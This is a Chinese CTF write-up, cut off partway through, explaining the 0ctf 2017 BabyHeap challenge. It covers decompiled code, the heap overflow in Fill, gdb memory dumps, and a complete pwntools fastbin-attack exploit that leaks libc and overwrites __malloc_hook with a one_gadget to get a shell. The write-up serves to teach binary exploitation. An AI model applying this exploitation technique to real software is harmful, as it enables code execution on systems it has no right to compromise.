0ctf_2017_BabyHeap

First Post:

Last Update:

Word Count:
6.3k

Read Time:
29 min

Page View: loading...

fastbin_attack中的Arbitrary Alloc(例题)

具体例子原理网上很多,这里就不再赘述了,这里讲解一道fastbin_attack中的Arbitrary Alloc

题目来源:0ctf 2017 BabyHeap
参考资料:
https://blog.csdn.net/qq_36495104/article/details/106202135 #思路
CTF-wiki
https://www.yuque.com/hxfqg9/bin/bp97ri#sKWXZ #payload
https://blog.csdn.net/counsellor/article/details/81543197 #关闭地址随机化

附件:
链接: https://pan.baidu.com/s/1uG2cfQae0iwULtYvRmEBIw 密码: f1i6
–来自百度网盘超级会员V3的分享


准备工作

将文件下载下来,首先检查一下文件的保护情况:

Snipaste_2023-09-13_15-31-15.png

可以看到保护全部开启(这还玩个毛线啊)
具体看一下各个保护:

Arch: amd64-64-little
这个说明程序是64位程序,小端序
RELRO: Full RELRO
Full RELRO开启,使整个 GOT 只读,从而无法被覆盖,进一步来说GOT表无法被修改
Stack: Canary found
对使用随机数每个函数进行保护,防止栈溢出
NX: NX enabled
不能向栈上直接注入shellcode
PIE: PIE enabled
地址随机化,我感觉这个保护是最恶心的
来看一下我的Linux环境:
Ubuntu版本:16.04

其中libc-2.23.so是我本机的libc文件

静态分析

整个程序相当于一个堆内存管理器,静态分析一下吧:

main 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *addr; // [rsp+8h] [rbp-8h]

addr = get_addr();
while ( 1 )
{
menu(); //
// puts("1. Allocate");
// puts("2. Fill");
// puts("3. Free");
// puts("4. Dump");
// puts("5. Exit");
// printf("Command: ");
//
input();
switch ( (unsigned __int64)off_14F4 )
{
case 1uLL:
Allocate((__int64)addr);
break;
case 2uLL:
Fill((__int64)addr);
break;
case 3uLL:
Free((__int64)addr);
break;
case 4uLL:
Dump((__int64)addr);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}

主函数内容,包含菜单函数和四个堆功能函数

get_addr 函数(生成随机地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
char *get_addr()
{
int fd; // [rsp+4h] [rbp-3Ch]
char *addr; // [rsp+8h] [rbp-38h]
unsigned __int64 v3; // [rsp+10h] [rbp-30h]
__int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF

buf[3] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(60u);
puts("===== Baby Heap in 2017 =====");
fd = open("/dev/urandom", 0); // 调用系统文件生成随机数
if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )
exit(-1);
close(fd);
addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
exit(-1);
return &addr[v3]; // 利用生成的随机数来生成随机地址
}

​ 这个函数可以使程序堆块信息存放在随机地址中,而不是固定的地址,因此我们很难通过找到存放堆块信息的地址来修改其地址从而控制程序的流程。
​ 还需要提一句的是,这个函数有alarm函数,从程序运行60秒之后就会终止进程,如果不想在调试程序的时候被打断,可以对二进制文件进行patch。patch之后的可执行文件名为:babyheap_0ctf_2017_patch

返回的addr 指针 包含了 所有chunk 的 信息和 数据chunk 的指针

meau 函数

1
2
3
4
5
6
7
8
9
void __cdecl menu()
{
puts("1. Allocate");
puts("2. Fill");
puts("3. Free");
puts("4. Dump");
puts("5. Exit");
printf("Command: ");
}

打印菜单

Alloc 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall Allocate(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
void *calloc_ptr; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
size = input();
if ( size > 0 )
{
if ( size > 4096 )
size = 4096;
calloc_ptr = calloc(size, 1uLL);
if ( !calloc_ptr )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1; //chunk_flag
*(_QWORD *)(a1 + 24LL * i + 8) = size; //chunk_size
*(_QWORD *)(a1 + 24LL * i + 16) = calloc_ptr; //chunk_data_ptr 指向calloc出来的chunk_data
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}

传入的参数地址是get_addr 随机生成的地址。allocate函数是来创建堆块的,申请chunk最大的大小为4096。

首先输入堆块的content_size,然后调用calloc函数根据输入的content_size大小来创建堆块,最后堆块的信息保存在get_addr指针所指向的地址中。需要注意的是堆块是由 calloc 分配的,所以 chunk 中的内容全都为\x00。
请注意,堆块的index是从0开始的
因此程序的结构体为:

●chunk_flag:用来判断堆块是否存在
●chunk_content_size:#记录content的大小
●chunk_data_ptr:指向calloc出来的chunk_data

Fill 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall Fill(__int64 a1)
{
signed int v1; // [rsp+18h] [rbp-8h]
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v1 = input();
if ( (unsigned int)v1 <= 0xF && *(_DWORD *)(24LL * v1 + a1) == 1 ) //判断序号是否正确,判断flag为 chunk 是否存在
{
printf("Size: ");
v2 = input(); //又让输出size,改写 chunk 数据部分的内容,存在溢出!!
if ( v2 > 0 )
{
printf("Content: ");
read_func2(*(_QWORD *)(24LL * v1 + a1 + 16), v2); //*(_QWORD *)(24LL * v1 + a1 + 16) == chunk_data
}
}
}

上图是Fill函数分伪代码,这个函数的功能比较有意思,漏洞也是存在这个函数中的。
在填充内容的功能中,调用input函数来输入堆块的大小,并没有设置字符串结尾。而且比较有意思的是,这次又让我们重新输入了content_size,但是程序并没有将原来结构体中的content_size更改。且执行这个函数之后allocate chunk时堆块的size域没有改变,所以这里就出现了任意堆溢出的情形。

Free 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __fastcall Free(__int64 a1)
{
signed int v1; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v1 = input();
if ( (unsigned int)v1 <= 0xF && *(_DWORD *)(24LL * v1 + a1) == 1 )
{
*(_DWORD *)(24LL * v1 + a1) = 0;
*(_QWORD *)(24LL * v1 + a1 + 8) = 0LL;
free(*(void **)(24LL * v1 + a1 + 16));
*(_QWORD *)(24LL * v1 + a1 + 16) = 0LL; // 指针置空
}
}

输入序号,释放chunk。将 flag 字段,size 字段清0,free了数据chunk的指针同时也清0,不存在uaf

Dump 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall Dump(__int64 a1)
{
signed int v1; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v1 = input();
if ( (unsigned int)v1 <= 0xF && *(_DWORD *)(24LL * v1 + a1) == 1 )
{
puts("Content: ");
write_func(*(_QWORD *)(24LL * v1 + a1 + 16), *(_QWORD *)(24LL * v1 + a1 + 8));
puts(byte_14F1);
}
}

输入序号,打印内容

gdb 动态调试

还记得之前get_addr这个函数吗?这个函数主要使用来生成随机地址,其中指针也存放在哪里。

关闭ASLR保护

由于这个程序开启了PIE保护,为了方便调试程序及查看堆内存,因此我们将Linux的ALSR(地址空间随机化)进行关闭。首先看一下ALSR开启的状态,可以使用下面的任意其中一种命令

1
2
3
4
5
6
7
8
9
10
11
ubuntu@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space
2
ubuntu@ubuntu:~$ sysctl -a --pattern randomize
kernel.randomize_va_space = 2
ubuntu@ubuntu:~$

###
0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(PIE也会影响heap的随机化)
2 = 全随机。除了1中所述,还有heap。
###

现在关闭ASLR,关闭方法如下:
方法一: 手动修改randomize_va_space文件
上面介绍的randomize_va_space文件的枚举值含义,设置的值不同,linux内核加载程序的地址空间的策略就会不同。比较简单明了。这里0代表关闭ASLR。

1
2
3
echo 0 > /proc/sys/kernel/randomize_va_space
#注意,这里是先进root权限,后执行。
#重启之后会恢复默认

方法二: 使用sysctl控制ASLR

1
2
3
sysctl -w kernel.randomize_va_space=0
#重启之后将恢复默认
#如果需要永久保存配置,需要在配置文件 /etc/sysctl.conf 中增加这个选项。

方法三: 使用setarch控制单个程序的随机化
如果你想历史关闭单个程序的ASLR,使用setarch是很好的选择。setarch命令如其名,改变程序的运行架构环境,并可以自定义环境flag。

1
2
setarch `uname -m` -R ./your_program
#-R参数代表关闭地址空间随机化(开启ADDR_NO_RANDOMIZE)

方法四: 在GDB场景下,使用set disable-randomization off
在调试特定程序时,可以通过set disable-randomization命令开启或者关闭地址空间随机化。默认是关闭随机化的,也就是on状态。
当然,这里开启,关闭和查看的方法看起来就比较正规了。

1
2
3
4
5
6
关闭ASLR:
set disable-randomization on
开启ASLR:
set disable-randomization off
查看ASLR状态:
show disable-randomization

我们如何找到那个随机地址呢?通过多次对程序gdb调试,发现了一直变化的地址(此时的ASLR已关闭,参见下文章下面的内容),下面的代码框之中是两次gdb调试的内存分布:

Snipaste_2023-09-13_15-53-21.png

Snipaste_2023-09-13_15-54-08.png

通过对比发现,变动的只有第一行的地址:

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x40729d6e2000 0x40729d6e3000 rw-p 1000 0

​ 0x2dd727226000 0x2dd727227000 rw-p 1000 0

到这里,可以猜测一下,程序的指针应该也存放在这片内存区域中。
我们重新gdb调试,通过执行函数Allocate和fill,来看一下这片内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
giantbranch@ubuntu:/mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0c
tf_2017$ gdb babyheap_0ctf_2017
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from babyheap_0ctf_2017...(no debugging symbols found)...done.
pwndbg> r
Starting program: /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1
Size: 20
Allocate Index 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 2
Index: 0
Size: 40
Content: aaaaaaaaaaaaaaaaaa
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04360 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x0
RCX 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x15
RDI 0x0
RSI 0x555555757023 ◂— 0x20fe10000000000
R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R9 0x9
R10 0x0
R11 0x246
R12 0x555555554a40 ◂— xor ebp, ebp
R13 0x7fffffffdd50 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdc20 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdc70 —▸ 0x5555555553e0 ◂— push r15
RSP 0x7fffffffdbf8 —▸ 0x5555555551fd ◂— mov qword ptr [rbp - 8], rax
RIP 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
0x7ffff7b04360 <__read_nocancel+7> cmp rax, -0xfff
0x7ffff7b04366 <__read_nocancel+13> jae read+73 <0x7ffff7b04399>

0x7ffff7b04399 <read+73> mov rcx, qword ptr [rip + 0x2ccad8]
0x7ffff7b043a0 <read+80> neg eax
0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax
0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff
0x7ffff7b043a9 <read+89> ret

0x7ffff7b043aa nop word ptr [rax + rax]
0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389], 0 <0x7ffff7dd6740>
0x7ffff7b043b7 <write+7> jne write+25 <0x7ffff7b043c9>

0x7ffff7b043c9 <write+25> sub rsp, 8
─────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdbf8 —▸ 0x5555555551fd ◂— mov qword ptr [rbp - 8], rax
01:00080x7fffffffdc00 ◂— 0x28 /* '(' */
02:00100x7fffffffdc08 —▸ 0x555555757010 ◂— 0x6161616161616161 ('aaaaaaaa')
03:00180x7fffffffdc10 ◂— 0x13
... ↓
05:0028│ rbp 0x7fffffffdc20 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdc70 —▸ 0x5555555553e0 ◂— push r15
06:00300x7fffffffdc28 —▸ 0x555555554f48 ◂— jmp 0x555555554f4e
07:00380x7fffffffdc30 ◂— 0x0
───────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────
► f 0 7ffff7b04360 __read_nocancel+7
f 1 5555555551fd
f 2 555555554f48
f 3 555555555188
f 4 7ffff7a2d840 __libc_start_main+240
Program received signal SIGINT
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x3b0326206000 0x3b0326207000 rw-p 1000 0
0x555555554000 0x555555556000 r-xp 2000 0 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017
0x555555755000 0x555555756000 r--p 1000 1000 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017
0x555555756000 0x555555757000 rw-p 1000 2000 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017
0x555555757000 0x555555778000 rw-p 21000 0 [heap]
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg>

再看一下 0x3b0326206000 这片内存区域,确定是程序结构体中指针存放的位置,标注一下:

这里我重新调试了一个gdb

1
2
3
4
5
6
7
8
9
10
0xb422b6be0c0:	0x0000000000000000	0x0000000000000000
0xb422b6be0d0: 0x0000000000000001 0x0000000000000014
#chunk_flag #size
0xb422b6be0e0: 0x0000555555757010 0x0000000000000000
#chunk_data_ptr
0xb422b6be0f0: 0x0000000000000000 0x0000000000000000
0xb422b6be100: 0x0000000000000000 0x0000000000000000
0xb422b6be110: 0x0000000000000000 0x0000000000000000
0xb422b6be120: 0x0000000000000000 0x0000000000000000
0xb422b6be130: 0x0000000000000000 0x0000000000000000

exp 讲解

exp的主要内容如下:

exp来自@yichen师傅:https://www.yuque.com/hxfqg9/bin/bp97ri#sKWXZ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./babyheap_0ctf_2017_patch')
elf = ELF('./babyheap_0ctf_2017_patch')

#首先是定义的一些函数,对应着程序的功能
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()
def unsorted_offset_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset

#首先申请4个fast chunk和1个small chunk
alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4

#free两个,这时候会放到fastbins中,而且因为是后进的,所以
#fastbin[0]->index2->index1->NULL
free(1)
free(2)

#这个时候我们去对index0进行fill操作,他就会把index2的指针的末位改成0x80,也就指向了index4
#解释一下,前面申请了4块0x10的,加上chunk的一些信息,合起来是0x80
#所以把那个末位改成0x80就指向了index4,这样chunk4就被放到了fastbins中
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

#然后再通过index3去进行写入,把index4的大小改成0x21
#这么做是因为当申请index4这块内存的时候,他会检查大小是不是fast chunk的范围内
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)

#改好index4的大小之后去申请两次,这样就把原来的fastbins中的给申请出来了
alloc(0x10)
alloc(0x10)

#申请成功之后index2就指向index4
#为了让index4能够被放到unsortedbins中,要把它的大小改回来
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)

#再申请一个防止index4与top chunk合并了
alloc(0x80)

#这时候free就会把index4放到unsorted中了
free(4)

#因为index2是指向index4的,所以直接把index2给dump一下就能拿到index4中前一部分的内容了
#main_arena与libc偏移为0x3c4b20(文末有工具算)
#再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移
unsorted_offset_mainarena=unsorted_offset_arena(5)#这函数还不太明白
unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00"))
libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena
log.info("libc_base: "+hex(libc_base))
#此时因为fastbins中没有了,所以从unsortedbins中找
alloc(0x60)

#index2还是指向index4那个地方我们可以先释放index4
free(4)

#然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
#但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
#这个地址是main_arena-0x40+0xd,具体看后面图片解释
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

#这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处
alloc(0x60)#index4
alloc(0x60)#index6

#然后往malloc_hook上写one_gadget的地址
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)

#再申请一下触发one_gadget
alloc(255)

p.interactive()

漏洞利用思路

从上面的内容可以看出,主要的漏洞是任意长度堆溢出。由于该程序几乎所有保护都开启了,所以我们必须要有一些泄漏才可以控制程序的流程。基本利用思路如下:

  • 利用 unsorted bin 地址泄漏 libc 基地址。(用unsortedbin的原因之后再说)
  • 利用 fastbin attack中的Arbitrary Alloc技术将chunk 分配到 malloc_hook 附近。

1. leak libc_addr

1-1 模仿程序功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()

这4个函数分别对应程序的四个主要功能,这里就不多说了。

1-2 申请 5个chunk

由于我们希望使用 unsorted bin 来泄漏 libc 基地址,所以必须要有 chunk 可以被链接到 unsorted bin 中,所以该 chunk 不能被回收到 fastbin chunk,也不能和 top chunk 相邻。因为后者在不是fastbin 的情况下,会被合并到 top chunk 中。具体设计如下:

1
2
3
4
5
alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4

执行完此payload之后的heap情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4
......(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk

此时程序结构体中的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5fcead98720:	0x0000000000000000	0x0000000000000000
0x5fcead98730: 0x0000000000000001 0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000001
#index1
0x5fcead98750: 0x0000000000000010 0x0000555555757030
0x5fcead98760: 0x0000000000000001 0x0000000000000010
#index2
0x5fcead98770: 0x0000555555757050 0x0000000000000001
#index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000001 0x0000000000000080
#index4
0x5fcead987a0: 0x0000555555757090 0x0000000000000000
0x5fcead987b0: 0x0000000000000000 0x0000000000000000

1-3 free创建的index1和index2

1
2
3
4
#free两个,这时候会放到fastbins中,而且因为是后进的,所以
#fastbin[0]->index2->index1->NULL
free(1)
free(2)

执行此部分payload,来看一下堆状况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000555555757020 0x0000000000000000
#fd指针指向index1的起始地址
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4
0x555555757090: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
.....(省略内容均为空)
pwndbg>

此时的bin和main_arena情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> bin
fastbins
0x20: 0x0000555555757020->0x555555757040 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/16gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040 #index2
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000555555757110 #top_chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
0x7ffff7dd1b90 <main_arena+112>: 0x00007ffff7dd1b78 0x00007ffff7dd1b88
pwndbg>

程序的结构体状况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5fcead98730:	0x0000000000000001	0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000000
#index1(chunk_flag置零)
0x5fcead98750: 0x0000000000000000 0x0000000000000000
#chunk_content_size置零 #chunk_data_ptr置空
0x5fcead98760: 0x0000000000000000 0x0000000000000000
#index2(chunk_flag置零) #chunk_data_size置零
0x5fcead98770: 0x0000000000000000 0x0000000000000001
#chunk_data_ptr置空 #index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000001 0x0000000000000080
#index4
0x5fcead987a0: 0x0000555555757090 0x0000000000000000
0x5fcead987b0: 0x0000000000000000 0x0000000000000000

1-4 对 index0 进行 fill 操作,溢出修改 index2 和 fd 指针

1
2
3
4
5
6
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

还记得上面提到的程序漏洞吗?
第一次执行Allocate函数时chunk_content_size是我们指定的,但是fill的时候并没有将新的chunk_content_size写入到结构体中,并且之前alloc chunk时指定的堆块size大小没有发生改变,所以这里就出现了任意堆溢出的情形。
这一小段payload的目的是:通过fill index0溢出修改index2的fd指针为index4的地址,此处的payload只用修改fd的最后一个字节为0x80即可。
执行payload之后的内存空间如下:

chunk2->fd已成功修改为chunk4的起始地址(这个起始地址是指向chunk header的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
#payload从这里开始修改堆块内容
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2(fastbin)
0x555555757050: 0x0000555555757080 0x0000000000000000
#此处的fd指针已经被修改
--------------------------------------------------------------
执行payload前原来的内容为:
0x555555757050: 0x0000555555757020 0x0000000000000000
--------------------------------------------------------------
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4(fastbin)
0x555555757090: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
.....(省略内容均为空)
pwndbg>

1-5 对 index3 进行fill操作,将 index4 的大小修改为 0x21

1
2
3
4
5
#然后再通过index3去进行写入,把index4的大小改成0x21
#这么做是因为当申请index4这块内存的时候,他会检查大小是不是fastbin的范围内(请注意这点)
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x555555757000:	0x0000000000000000	0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2(fastbin)
0x555555757050: 0x0000555555757080 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000021 #index4(fastbin)
--------------------------------------------------------------
执行payload前原来的内容为:
